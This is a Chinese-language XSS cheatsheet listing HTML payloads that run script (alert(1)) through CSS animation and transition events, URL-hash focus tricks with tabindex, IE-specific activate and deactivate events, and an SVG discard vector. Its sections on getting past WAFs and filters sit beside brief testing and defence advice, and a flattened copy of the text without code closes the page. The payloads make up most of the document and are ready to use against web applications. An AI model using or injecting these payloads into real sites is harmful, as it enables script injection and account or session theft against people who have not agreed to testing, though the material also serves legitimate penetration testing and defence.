One XSS cheatsheet to rule them all
字数 1111 2025-08-25 22:58:28

XSS Cheatsheet 全面指南

1. CSS动画与过渡事件XSS

1.1 使用CSS动画执行XSS

<style>@keyframes x{}</style>
<b style="animation-name:x" onanimationstart="alert(1)"></b>
  • 原理:通过CSS动画触发onanimationstart事件
  • 适用浏览器:支持CSS动画的现代浏览器

1.2 使用CSS过渡和:target选择器

<style>:target { color:red;}/*page.html#x*/</style>
<x id=x style="transition:color 1s" ontransitionend=alert(1)>
  • 原理::target选择器匹配URL哈希对应的元素,触发过渡效果
  • 事件触发顺序:
    1. 访问page.html#x
    2. 元素颜色变为红色(触发过渡)
    3. 过渡结束时触发ontransitionend事件

1.3 Firefox特定过渡事件

<style>:target { transform: rotate(180deg);}</style>
<x id=x style="transition transform 10s" ontransitioncancel=alert(1)>
  • 特殊事件:
    • ontransitionrun:在Firefox上任何标签都可触发
    • ontransitioncancel:需要修改URL哈希来触发

2. 基于URL哈希的XSS技术

2.1 表单元素自动聚焦

<input onfocus=alert(1) id=x>
someurl.php#x
  • 原理:URL哈希匹配元素的id属性时自动触发focus事件
  • 不需要autofocus属性

2.2 非表单元素聚焦技术

<map name="x"><area href onfocus=alert(1) id=x>
<iframe id=x onfocus=alert(1)>
<embed id=x onfocus=alert(1) type=text/html>
<object id=x onfocus=alert(1) type=text/html>
someurl.php#x
  • 适用元素:<area>, <iframe>, <embed>, <object>

2.3 使用tabindex扩展聚焦能力

<a onfocus=alert(1) id=x href>
<xss onfocus=alert(1) id=x tabindex=1>
<xss onblur=alert(1) id=x tabindex=1>
<input autofocus>
someurl.php#x
  • 关键点:tabindex属性使任何元素可聚焦
  • 自定义元素也可使用此技术

2.4 链接元素的特殊处理

<link onfocus=alert(1) id=x tabindex=1 style=display:block>
someurl.php#x
  • 需要添加display:block样式强制显示
  • 或在头部使用accesskey技巧

3. 高级聚焦相关事件

3.1 聚焦相关事件类型

<a onfocusin=alert(1) id=x tabindex=1>
<div onfocusout=alert(1) id=x tabindex=1>
  • onfocusin:类似onfocus
  • onfocusout:类似onblur

3.2 IE特有激活事件

<a onactivate=alert(1) id=x tabindex=1>
<div onactivate=alert(1) id=x tabindex=1>
<xss onactivate=alert(1) id=x tabindex=1>
<a onbeforeactivate=alert(1) id=x tabindex=1>
someurl.php#x
  • onactivate:元素激活时触发
  • onbeforeactivate:激活前触发

3.3 IE失活事件

<a ondeactivate=alert(1) id=x tabindex=1></a>
<input id=y autofocus>
<xss ondeactivate=alert(1) id=x tabindex=1></xss>
<input id=y autofocus>
<a onbeforedeactivate=alert(1) id=x tabindex=1></a>
<input id=y autofocus>
someurl.php#x
someurl.php#y
  • 需要修改两次哈希值触发
  • ondeactivateonbeforedeactivate事件

4. SVG特殊XSS向量

<svg><discard onbegin=alert(1)>
  • Chrome特定payload
  • 利用SVG的<discard>元素和onbegin事件

5. 防御绕过技术要点

  1. WAF绕过:使用非常规事件和元素组合
  2. 过滤器绕过:利用CSS动画/过渡等现代特性
  3. 浏览器差异
    • Chrome:支持SVG特定事件
    • Firefox:支持更多过渡相关事件
    • IE:支持特有的激活/失活事件

6. 最佳实践

  1. 测试所有可聚焦元素的XSS可能性
  2. 检查CSS动画/过渡相关事件
  3. 验证URL哈希对页面元素的影响
  4. 特别注意自定义元素和SVG的XSS潜力

7. 防御建议

  1. 严格过滤所有HTML属性
  2. 禁用不必要的CSS动画/过渡功能
  3. 实施内容安全策略(CSP)
  4. 对URL哈希进行验证和过滤
  5. 特别注意tabindex属性的使用
XSS Cheatsheet 全面指南 1. CSS动画与过渡事件XSS 1.1 使用CSS动画执行XSS 原理:通过CSS动画触发 onanimationstart 事件 适用浏览器:支持CSS动画的现代浏览器 1.2 使用CSS过渡和:target选择器 原理: :target 选择器匹配URL哈希对应的元素,触发过渡效果 事件触发顺序: 访问 page.html#x 元素颜色变为红色(触发过渡) 过渡结束时触发 ontransitionend 事件 1.3 Firefox特定过渡事件 特殊事件: ontransitionrun :在Firefox上任何标签都可触发 ontransitioncancel :需要修改URL哈希来触发 2. 基于URL哈希的XSS技术 2.1 表单元素自动聚焦 原理:URL哈希匹配元素的 id 属性时自动触发 focus 事件 不需要 autofocus 属性 2.2 非表单元素聚焦技术 适用元素: <area> , <iframe> , <embed> , <object> 2.3 使用 tabindex 扩展聚焦能力 关键点: tabindex 属性使任何元素可聚焦 自定义元素也可使用此技术 2.4 链接元素的特殊处理 需要添加 display:block 样式强制显示 或在头部使用 accesskey 技巧 3. 高级聚焦相关事件 3.1 聚焦相关事件类型 onfocusin :类似 onfocus onfocusout :类似 onblur 3.2 IE特有激活事件 onactivate :元素激活时触发 onbeforeactivate :激活前触发 3.3 IE失活事件 需要修改两次哈希值触发 ondeactivate 和 onbeforedeactivate 事件 4. SVG特殊XSS向量 Chrome特定payload 利用SVG的 <discard> 元素和 onbegin 事件 5. 防御绕过技术要点 WAF绕过 :使用非常规事件和元素组合 过滤器绕过 :利用CSS动画/过渡等现代特性 浏览器差异 : Chrome:支持SVG特定事件 Firefox:支持更多过渡相关事件 IE:支持特有的激活/失活事件 6. 最佳实践 测试所有可聚焦元素的XSS可能性 检查CSS动画/过渡相关事件 验证URL哈希对页面元素的影响 特别注意自定义元素和SVG的XSS潜力 7. 防御建议 严格过滤所有HTML属性 禁用不必要的CSS动画/过渡功能 实施内容安全策略(CSP) 对URL哈希进行验证和过滤 特别注意 tabindex 属性的使用